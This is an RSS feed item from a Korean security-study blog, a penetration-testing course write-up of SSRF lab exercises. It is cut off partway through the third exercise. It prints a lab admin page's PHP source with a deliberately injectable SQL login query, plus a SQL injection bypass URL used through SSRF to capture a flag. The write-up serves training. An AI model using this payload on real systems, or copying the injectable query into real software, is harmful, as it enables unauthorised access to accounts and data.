<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>IT공부방 (정보보안)</title>
    <link>https://thjkl2004.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Mon, 1 Jun 2026 21:55:04 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>mister jeon</managingEditor>
    <image>
      <title>IT공부방 (정보보안)</title>
      <url>https://tistory1.daumcdn.net/tistory/6483430/attach/e3d13c6d79864668a0eac6a527d70ba5</url>
      <link>https://thjkl2004.tistory.com</link>
    </image>
    <item>
      <title>모의해킹 취업반 스터디 9기 모의해킹 프로젝트 (2) SSRF</title>
      <link>https://thjkl2004.tistory.com/51</link>
      <description>&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음은 SSRF 추가 실습을 통해 2가지 사례를 확인하고 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;대응방안까지 알아보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;실습2&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bfJ9Id/dJMcadA7OYw/CvB4of9e0XKkkPc98fLiLk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bfJ9Id/dJMcadA7OYw/CvB4of9e0XKkkPc98fLiLk/img.png&quot; data-origin-width=&quot;979&quot; data-origin-height=&quot;717&quot; data-is-animation=&quot;false&quot; style=&quot;width: 45.382%; margin-right: 10px;&quot; data-widthpercent=&quot;45.92&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bfJ9Id/dJMcadA7OYw/CvB4of9e0XKkkPc98fLiLk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbfJ9Id%2FdJMcadA7OYw%2FCvB4of9e0XKkkPc98fLiLk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;979&quot; height=&quot;717&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/pU7fj/dJMcacCiHOo/R1SgSAb7bfPwVZyUto7qkK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/pU7fj/dJMcacCiHOo/R1SgSAb7bfPwVZyUto7qkK/img.png&quot; data-origin-width=&quot;1819&quot; data-origin-height=&quot;1131&quot; data-is-animation=&quot;false&quot; style=&quot;width: 53.4552%;&quot; data-widthpercent=&quot;54.08&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/pU7fj/dJMcacCiHOo/R1SgSAb7bfPwVZyUto7qkK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FpU7fj%2FdJMcacCiHOo%2FR1SgSAb7bfPwVZyUto7qkK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1819&quot; height=&quot;1131&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;날씨 관련 페이지이며 관리자 계정으로 로그인을 할 방법이 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;있는지 확인해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;물론 바로 접속하면 관리자 페이지에 접속이 불가능 합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bi8crf/dJMcaivHKuC/0kiZD2HURAIkr7I0uftri0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bi8crf/dJMcaivHKuC/0kiZD2HURAIkr7I0uftri0/img.png&quot; data-origin-width=&quot;1959&quot; data-origin-height=&quot;832&quot; data-is-animation=&quot;false&quot; style=&quot;width: 66.5831%; margin-right: 10px;&quot; data-widthpercent=&quot;67.37&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bi8crf/dJMcaivHKuC/0kiZD2HURAIkr7I0uftri0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbi8crf%2FdJMcaivHKuC%2F0kiZD2HURAIkr7I0uftri0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1959&quot; height=&quot;832&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b9F6fd/dJMcaa5x0Ut/XMZI4BUIKZm1nb9w8kuY8k/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b9F6fd/dJMcaa5x0Ut/XMZI4BUIKZm1nb9w8kuY8k/img.png&quot; data-origin-width=&quot;1947&quot; data-origin-height=&quot;1707&quot; data-is-animation=&quot;false&quot; style=&quot;width: 32.2541%;&quot; data-widthpercent=&quot;32.63&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b9F6fd/dJMcaa5x0Ut/XMZI4BUIKZm1nb9w8kuY8k/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb9F6fd%2FdJMcaa5x0Ut%2FXMZI4BUIKZm1nb9w8kuY8k%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1947&quot; height=&quot;1707&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음은 날씨 현황을 체크할 수 있는 사이트가 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서울 날씨를 확인하면 다음 사진과 같이 날씨 예보를 확인&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;할 수 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&amp;nbsp;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1679&quot; data-origin-height=&quot;641&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bkpeo3/dJMcaaLfcrq/7xWLYJBuSRLjghdj4ViREk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bkpeo3/dJMcaaLfcrq/7xWLYJBuSRLjghdj4ViREk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bkpeo3/dJMcaaLfcrq/7xWLYJBuSRLjghdj4ViREk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbkpeo3%2FdJMcaaLfcrq%2F7xWLYJBuSRLjghdj4ViREk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1679&quot; height=&quot;641&quot; data-origin-width=&quot;1679&quot; data-origin-height=&quot;641&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;burp 에서는 GET 메서드에 Apiurl을 사용자에게 보여주고 있습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이것도 한번 악용하여 날씨관련 관리자 페이지에 접속을 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2089&quot; data-origin-height=&quot;1104&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/W0MKC/dJMcabciiwj/aKmnQRmr2S5kkY7JBjXTik/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/W0MKC/dJMcabciiwj/aKmnQRmr2S5kkY7JBjXTik/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/W0MKC/dJMcabciiwj/aKmnQRmr2S5kkY7JBjXTik/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FW0MKC%2FdJMcabciiwj%2FaKmnQRmr2S5kkY7JBjXTik%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2089&quot; height=&quot;1104&quot; data-origin-width=&quot;2089&quot; data-origin-height=&quot;1104&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자 페이지를 엿볼수 있습니다.&amp;nbsp; 하지만 이 상태로는 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;계정과 비밀번호를 모르기 때문에 로그인을 할 수 없었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 URL를 http://127.0.0.1/ssrf_1/admin.php가 아닌 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;admin.php로 전송을 해보겠습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2095&quot; data-origin-height=&quot;915&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EqTiU/dJMcaaYLAkg/Tx8ern58HGMfVDm0KeS1kK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EqTiU/dJMcaaYLAkg/Tx8ern58HGMfVDm0KeS1kK/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EqTiU/dJMcaaYLAkg/Tx8ern58HGMfVDm0KeS1kK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEqTiU%2FdJMcaaYLAkg%2FTx8ern58HGMfVDm0KeS1kK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2095&quot; height=&quot;915&quot; data-origin-width=&quot;2095&quot; data-origin-height=&quot;915&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;admin.php로 전송하니 다음과 같이 소스코드가 보였습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773052592798&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;&amp;lt;?php
declare(strict_types=1);

require_once __DIR__ . '/../config.php';

header('Content-Type: text/html; charset=UTF-8');

function e(string $value): string
{
    return htmlspecialchars($value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8');
}

$remoteAddr = $_SERVER['REMOTE_ADDR'] ?? '';

$allowedIps = ['127.0.0.1', '::1'];
$hasValidToken = hash_equals(appSsrf1InternalToken(), requestInternalToken());

if (!in_array($remoteAddr, $allowedIps, true) || !$hasValidToken) {
    http_response_code(403);
?&amp;gt;
&amp;lt;!doctype html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;Admin 접근 차단&amp;lt;/title&amp;gt;
    &amp;lt;style&amp;gt;
        body {
            margin: 0;
            font-family: -apple-system, BlinkMacSystemFont, &quot;Segoe UI&quot;, Roboto, &quot;Noto Sans KR&quot;, sans-serif;
            background: #0f172a;
            color: #e2e8f0;
            min-height: 100vh;
            display: grid;
            place-items: center;
        }
        .box {
            width: min(720px, calc(100vw - 40px));
            background: #1e293b;
            border-radius: 16px;
            padding: 28px;
        }
        h1 { margin: 0 0 10px; }
        p { margin: 0; color: #94a3b8; line-height: 1.6; }
    &amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;section class=&quot;box&quot;&amp;gt;
    &amp;lt;h1&amp;gt;403 Forbidden&amp;lt;/h1&amp;gt;
    &amp;lt;p&amp;gt;
        허용되지 않은 IP 주소입니다.&amp;lt;br&amp;gt;
        현재 접속 IP: &amp;lt;?= e($remoteAddr !== '' ? $remoteAddr : 'unknown') ?&amp;gt;
    &amp;lt;/p&amp;gt;
&amp;lt;/section&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&amp;lt;?php
    exit;
}

$dbHost = getenv('DB_HOST') ?: 'ctf-db';
$dbUser = getenv('DB_USER') ?: 'ctfuser';
$dbPass = getenv('DB_PASS') ?: 'ctfpass';
$dbName = getenv('DB_NAME') ?: 'CtfDB';

$username = (string)($_REQUEST['username'] ?? '');
$password = (string)($_REQUEST['password'] ?? '');

$message = null;
$isSuccess = false;
$note = '';

if ($username !== '' || $password !== '') {

    $conn = @new mysqli($dbHost, $dbUser, $dbPass, $dbName);

    if ($conn-&amp;gt;connect_error) {
        $message = 'DB 연결 실패: ' . $conn-&amp;gt;connect_error;
    } else {

        $sql = &quot;
            SELECT username, role, secret_note
            FROM admin_users
            WHERE username='$username'
              AND password='$password'
            LIMIT 1
        &quot;;

        $result = $conn-&amp;gt;query($sql);

        if ($result &amp;amp;&amp;amp; $result-&amp;gt;num_rows &amp;gt; 0) {
            $row = $result-&amp;gt;fetch_assoc();
            $isSuccess = true;
            $message = '로그인 성공';
            $note = (string)($row['secret_note'] ?? '');
        } else {
            $message = '로그인 실패';
        }

        $conn-&amp;gt;close();
    }
}
?&amp;gt;
&amp;lt;!doctype html&amp;gt;
&amp;lt;html lang=&quot;ko&quot;&amp;gt;
&amp;lt;head&amp;gt;
    &amp;lt;meta charset=&quot;UTF-8&quot;&amp;gt;
    &amp;lt;meta name=&quot;viewport&quot; content=&quot;width=device-width, initial-scale=1.0&quot;&amp;gt;
    &amp;lt;title&amp;gt;Admin Login&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
    &amp;lt;!-- 기존 스타일 유지 가능 --&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;이중 SQL 쿼리문에 Where username = '$username' &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;AND password ='$password' 이 부분에 SQL Injection 취약점이 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;있다는 것 을 알게되었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;그래서 로그인 방법이 SQL injection를 이용한&amp;nbsp; URL를 다음과 같이 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;서버에 요청을 합니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;pre id=&quot;code_1773055227409&quot; class=&quot;bash&quot; data-ke-language=&quot;bash&quot; data-ke-type=&quot;codeblock&quot;&gt;&lt;code&gt;http://127.0.0.1/ssrf_1/admin.php?username=admin'or'1'='1--&amp;amp;password=password&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2081&quot; data-origin-height=&quot;1058&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/6O542/dJMcaaYLBvT/231OVKidpM2KgIJR1zC3p1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/6O542/dJMcaaYLBvT/231OVKidpM2KgIJR1zC3p1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/6O542/dJMcaaYLBvT/231OVKidpM2KgIJR1zC3p1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2F6O542%2FdJMcaaYLBvT%2F231OVKidpM2KgIJR1zC3p1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2081&quot; height=&quot;1058&quot; data-origin-width=&quot;2081&quot; data-origin-height=&quot;1058&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;nbsp;그 결과 로그인에 성공 할 수 있었으며 플래그도 확보 할 수 있었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;실습 2에서는 SSRF + SQL Injection 연계한 &lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;관리자 페이지에 &lt;/b&gt;&lt;/span&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;접속이 었습니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;&amp;lt;실습3&amp;gt;&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/dN1Y6K/dJMcaflt8fK/jGRrfwwbea8KkVQICkSB7K/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/dN1Y6K/dJMcaflt8fK/jGRrfwwbea8KkVQICkSB7K/img.png&quot; data-origin-width=&quot;1034&quot; data-origin-height=&quot;676&quot; data-is-animation=&quot;false&quot; style=&quot;width: 33.4329%; margin-right: 10px;&quot; data-widthpercent=&quot;33.83&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/dN1Y6K/dJMcaflt8fK/jGRrfwwbea8KkVQICkSB7K/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FdN1Y6K%2FdJMcaflt8fK%2FjGRrfwwbea8KkVQICkSB7K%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1034&quot; height=&quot;676&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bmjf49/dJMcabi6Laa/QP6SLK7zLTVwBcxEPLvSg0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bmjf49/dJMcabi6Laa/QP6SLK7zLTVwBcxEPLvSg0/img.png&quot; data-origin-width=&quot;1556&quot; data-origin-height=&quot;520&quot; data-is-animation=&quot;false&quot; style=&quot;width: 65.4043%;&quot; data-widthpercent=&quot;66.17&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bmjf49/dJMcabi6Laa/QP6SLK7zLTVwBcxEPLvSg0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbmjf49%2FdJMcabi6Laa%2FQP6SLK7zLTVwBcxEPLvSg0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1556&quot; height=&quot;520&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;h2 style=&quot;background-color: #ffffff; color: #000000; text-align: start;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;span style=&quot;font-family: GungSeo, serif;&quot;&gt;&lt;b&gt;다음은 헬스장에 관리지 페이지를 발견한 것 같습니다. 하지만 에러페이지와 함께 접속이 안되는 상황입니다.&lt;/b&gt;&lt;/span&gt;&lt;/h2&gt;
&lt;p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b0zVet/dJMcadA7UCf/RTOcsKhXhUNmEYyJkKbapK/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b0zVet/dJMcadA7UCf/RTOcsKhXhUNmEYyJkKbapK/img.png&quot; data-origin-width=&quot;2122&quot; data-origin-height=&quot;594&quot; data-is-animation=&quot;false&quot; style=&quot;width: 66.0397%; margin-right: 10px;&quot; data-widthpercent=&quot;66.82&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b0zVet/dJMcadA7UCf/RTOcsKhXhUNmEYyJkKbapK/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb0zVet%2FdJMcadA7UCf%2FRTOcsKhXhUNmEYyJkKbapK%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2122&quot; height=&quot;594&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Krllc/dJMcajg4d6W/S4ZKJUAO7YLefOOhBQ7PZ0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Krllc/dJMcajg4d6W/S4ZKJUAO7YLefOOhBQ7PZ0/img.png&quot; data-origin-width=&quot;2184&quot; data-origin-height=&quot;1231&quot; data-is-animation=&quot;false&quot; style=&quot;width: 32.7975%;&quot; data-widthpercent=&quot;33.18&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Krllc/dJMcajg4d6W/S4ZKJUAO7YLefOOhBQ7PZ0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FKrllc%2FdJMcajg4d6W%2FS4ZKJUAO7YLefOOhBQ7PZ0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2184&quot; height=&quot;1231&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
